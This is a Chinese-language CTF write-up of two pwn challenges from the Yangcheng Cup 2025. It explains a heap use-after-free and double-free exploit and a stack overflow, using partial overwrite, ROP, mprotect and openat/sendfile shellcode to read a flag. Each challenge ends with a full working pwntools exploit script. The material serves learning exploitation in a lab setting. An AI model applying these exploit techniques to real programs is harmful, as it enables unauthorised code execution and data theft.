羊城杯2025 wp

1.malloc

checksec发现保护全开

image-20251016201420265

这题看题目是道堆题,但是实际上是自己来实现malloc和free的,先来看一下伪代码,主函数就是常规菜单就略过了。

可以看到初始化函数开了沙箱,用seccomp-tools dump ./heap 可以发现禁用了execve,所以这题只能打orw了

image-20251016200119527

重点看一下add函数,发现把堆结构存在了chunk_ptrs[512]的位置,把大小存在了chunk_ptrs[528]的位置,

image-20251016200335514

然后就是自己实现的malloc,这里并没有花费太多精力逆,自己申请几个堆块调试一下能很快弄懂逻辑。

image-20251016201107371

现在来申请两个堆块调试一下,双击刚才的chunk_ptrs找到它的偏移地址,又因为chunk_list开始于chunk_ptrs[512],因为是QWORD数组,所以chunk_list所在的偏移就是0x5200+512*8也就是0x6200

image-20251016201552534

先申请两个堆块进入gdb调试

image-20251016202508551

由于开了pie,所以要加上pie基地址来查看结构,这张图就很清晰了,分别找到了存储堆结构的地址和堆指针的地址

image-20251016202950610

搞懂了add函数,下面看delete函数,可以发现删除堆的时候只把堆大小指针置零,并没有把堆指针置零,那就是uaf漏洞,

image-20251016203214385

点进去伪free函数,发现可以绕过double free检测,free掉一个堆块后再free 14个就可以再次free同一个堆块

image-20251016204342074

下面结合exp分析思路,先申请0和1号堆块,后面13个是为了后续的绕过double free,暂时先不管,先后delete掉1号和0号堆块,那么此时bin中的结构就是 bin头:0——>1,由于堆结构是伪造的,其实它们都在数组中,那么0号堆块的fd指向的其实也就是一个data段的地址,因为有uaf漏洞,0号堆块指针依然可以用,我们可以通过show(0)来算出和pie基地址的偏移,从而得到pie基地址

image-20251016205330206

之后释放掉13个chunk,现在bin中的chunk1前面有了算上0号chunk的一共14个chunk,我们可以再次释放chunk1,double free的核心思想是能创造两个索引指向同一个堆块,所以申请15号chunk,现在15和1这两个索引都指向chunk1,接着把中间13个堆块和0号堆块都申请出来,现在bin头:chunk1,我们可以edit 15号chunk将该chunk的fd改为chunk_list的地址,那么此时bin头:chunk1——>chunk_list,这里讲一下减0x10,这是为了我们申请出来chunk_list后编辑它的时候能直接控制chunk0,也可以不减,那编辑chunk_list的时候就是修改的chunk2。接着连续申请两个chunk出来,3号索引就指向了chunk_list-0x10,我们编辑3号chunk的fd为puts_got的地址也就修改了0号索引为puts_got地址,show(0)即可打印puts_got的内容

image-20251016210152096

接着用同样的方法泄露environ的值,这个值是一个栈地址,我们可以在show函数前面gdb.attach、pause断在这,然后断点在show函数的ret+pie,算出来ret和泄露的stack的偏移,就得到了ret的地址

image-20251016211354416

有了ret的地址,我们可以修改3号索引的fd即0号索引为ret的地址,然后edit 0号索引从而就可以控制ret为我们自己写的ropchain,但是发现orw的payload大于0x70,所以先ret到一个自己写的read函数,将rsi也就是read内容的地址写成read的ret地址,然后sendline我们的orw的payload即可执行payload。

image-20251016212446786

下面是找read的ret的地址,与stack偏移为0x100,也就是和第一个算的ret的偏移为0x40

image-20251016213348124

至此这道题就打完了,另外附一下看学长wp学到的写ropchain的工具,感觉很方便

image-20251016213637373

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
from LibcSearcher import *
#p=remote("node5.buuoj.cn",27330)
p=process("./heap_patched")
context(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF("./heap_patched")
libc=ELF('./libc.so.6')

def add(index,length):
p.recvuntil(b"=======================")
p.sendline(b'1')
p.recvuntil(b'Index')
p.sendline(str(index))
p.recvuntil(b"size")
p.sendline(str(length))

def edit(idx,length,name):
p.recvuntil(b'=======================')
p.sendline(b'3')
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil(b"size")
p.sendline(str(length))
p.sendline(name)

def delete(idx):
p.recvuntil(b"=======================")
p.sendline(b"2")
p.recvuntil(b"Index")
p.sendline(str(idx))

def show(idx):
p.recvuntil(b"=======================")
p.sendline(b"4")
p.recvuntil(b'Index')
p.sendline(str(idx))

add(0,0x70)
add(1,0x70)


for i in range(13):
add(i+2,0x70)

delete(1)
delete(0)

show(0)
p.recvuntil(b'\n')
elf.address=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x5280



log.success('pie_base--->'+hex(elf.address))


for i in range(13):
delete(i+2)

delete(1)

add(15,0x70)

for i in range(13):
add(14-i,0x70)
add(0,0x70)

edit(15,8,p64(elf.address+0x5200+0x1000-0x10))

add(2,0x70) #chunk1
add(3,0x70) #chunk_list-0x10
edit(3,8,p64(elf.got['puts']))
show(0)

p.recvuntil(b'\n')
libc.address=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base--->'+hex(libc.address))


edit(3,8,p64(libc.sym['environ']))

show(0)

p.recvuntil(b'\n')
stack=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

log.success('stack--->'+hex(stack))

ret_addr = stack - 0x140

edit(4,0x70,b'flag\x00\x00\x00\x00')
flag_addr=elf.address+0x210+0x5200

rdi=0x000000000002a3e5+libc.address
rsi=0x000000000002be51+libc.address
rdx_rbx=0x00000000000904a9+libc.address
open=libc.sym['open']
read=elf.sym['read']
puts=elf.sym['puts']

payload=p64(rdi)+p64(0)+p64(rsi)+p64(ret_addr+0x40)+p64(rdx_rbx)+p64(0x200)+p64(0)+p64(read)
edit(3,0x70,p64(ret_addr))

# gdb.attach(p)
# pause()

edit(0,0x70,payload)



payload=p64(rdi)+p64(flag_addr)
payload+=p64(rsi)+p64(0)+p64(open)
payload+=p64(rdi)+p64(3)
payload+=p64(rsi)+p64(elf.address+0x4000)
payload+=p64(rdx_rbx)+p64(0x50)+p64(0)+p64(read)
payload+=p64(rdi)+p64(elf.address+0x4000)+p64(puts)
p.sendline(payload)

# rop = ROP(libc, base=ret_addr)
# rop.read(0,ret_addr+0x40,0x200)

# edit(3,0x70,p64(ret_addr))
# edit(0,0x70,rop.chain())

# rop = ROP(libc, base=ret_addr+0x40)
# rop.open(b'./flag', 0)
# rop.read(3, ret_addr+0x240, 0x50)
# rop.puts(ret_addr+0x240)
# log.success('len--->'+hex(len(rop.chain())))
# p.sendline(rop.chain())

p.interactive()

2.Stack_Over_Flow

发现除了canary所有保护都开了

image-20251017160625559

审计一下ida,初始化函数,发现开了沙箱,seccomp-tools看到禁用了execve和open,所以可以用openat代替open来打orw。然后申请了一个堆块

image-20251017160501560

看主函数,一个read函数向堆中输入数据,并没有什么头绪,但由于题目名称是栈溢出,我们可以看一下ret的返回地址

image-20251017160600895

在send前面gdb.attach,进到gdb后在main的ret处下断点,发现输入点距离ret的偏移为0x108,那么我们就相当于可以实现栈溢出。

image-20251017162638890

现在面临另一个难题,程序开了pie,我们不能随意控制我们溢出的地址,这时发现了一个函数可以泄露一个magic number,我们在初始化函数中见到过这个变量

image-20251017163333547

qword_4040是main乘一个随机数qword_4038,往上看for循环可以发现,如果4038小于等于2就一直循环,同时它也一直%5,所以范围就是0到4,加上大于等于2的条件可以确定这个数不是3就是4,那么上面那个函数泄露的值就是main地址乘3或者乘4。

image-20251017163415868

现在目的就很明确了,有了main地址就有pie基地址了,所以我们要想办法ret到这个函数上,然后观察之前的gdb图,观察ret到的地址发现倒数第三四位都是13的,那就可以覆盖ret的低字节为该函数的低字节来返回到该函数

image-20251017164531906

第一次用\x57,发现卡栈了

image-20251017165121130

所以要调整栈帧,由于目前还不知道pie基地址所以拿不到ret的地址,但是可以发现该函数第一行汇编是sub rsp,8,去掉这一行从135F开始就可以调整栈帧了,所以把低字节改成’\x5F’即可

如下图来泄露pie基地址

image-20251017165731889

有了pie基地址我们就可以迁移到任意函数地址了,接下来泄露libc,但是发现找不到程序的gadgets来控制rdi,所以只能从汇编中找已有的gadgets,这次学到了用stdout来泄露libc地址,这一行把stdout给了rax。

image-20251017170703074

接下来的目标是找到mov rdi,rax,在main函数的puts找到了这个gadgets。有一点需要注意的是,上一张图中下面圈出来的部分有add rsp,8,相当于向下移了8字节,也就是说我们不能直接在第一个gadgets后面放第二个,这样就会跳过第二个gadgets的第一行,所以我们要填充8字节的deedbeef

image-20251017170614625

下面是泄露libc的exp

image-20251017171718561

有了libc后我们就要什么有什么了,这里先用溢出 (注意溢出偏移不一样了,变成了0x118,原因是覆盖地址改成了read的ret而不是函数的ret) 用mprotect给权限再构造一个read,最后返回到read读入的地址,为了返回并执行shellcode

image-20251017173332182

最后发送openat和sendfile构成的shellcode即可打通

image-20251017173536538

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p=process('./pwn_patched')
#p=remote('45.40.247.139',32648)
elf=ELF('./pwn_patched')
libc=ELF('./libc.so.5')

p.recvuntil("Good luck!")
payload=b'a'*0x108+b"\x5f"

p.send(payload)

p.recvuntil(b'magic number:')
main_addr=int(p.recvline().strip())
log.success('main_addr *(3 or 4)--->'+hex(main_addr))
main=main_addr//4
log.success('main --->'+hex(main))
pie_base=main-0x16B0
log.success('pie_base--->'+hex(pie_base))

libc_to_rax=0x12E8+pie_base
rax_to_rdi_puts=0x162B+pie_base

p.recvuntil("Good luck!")

payload=b'a'*0x108+p64(libc_to_rax)+p64(0xdeedbeef)+p64(rax_to_rdi_puts)
# gdb.attach(p)
# pause()
p.sendline(payload)

p.recvuntil(b'\n')
leak=u64(p.recv(6).ljust(8,b'\x00'))
log.success('leak--->'+hex(leak))

libc_base=leak- 0x21b780
log.success('libc_base--->'+hex(libc_base))

rdi = libc_base + 0x000000000002a3e5
mprotect = libc_base + libc.sym['mprotect']
read = libc_base + libc.sym['read']
bss=pie_base+0x4000

pop_rsi_r15 = libc_base + 0x000000000002a3e3
pop_rdx_rbx = libc_base + 0x00000000000904a9

payload=b'a'*0x118
payload+=p64(rdi)+p64(bss)
payload+=p64(pop_rsi_r15)+p64(0x3000)+p64(0)
payload+=p64(pop_rdx_rbx)+p64(7)+p64(0)
payload+=p64(mprotect)
payload+=p64(rdi)+p64(0)
payload+=p64(pop_rsi_r15)+p64(bss+0x600)+p64(0)
payload+=p64(pop_rdx_rbx)+p64(0x100)+p64(0)
payload+=p64(read)
payload+=p64(bss+0x600)

p.sendline(payload)

shellcode=asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x500
push SYS_sendfile
pop rax
syscall
''')

p.sendline(shellcode)

p.interactive()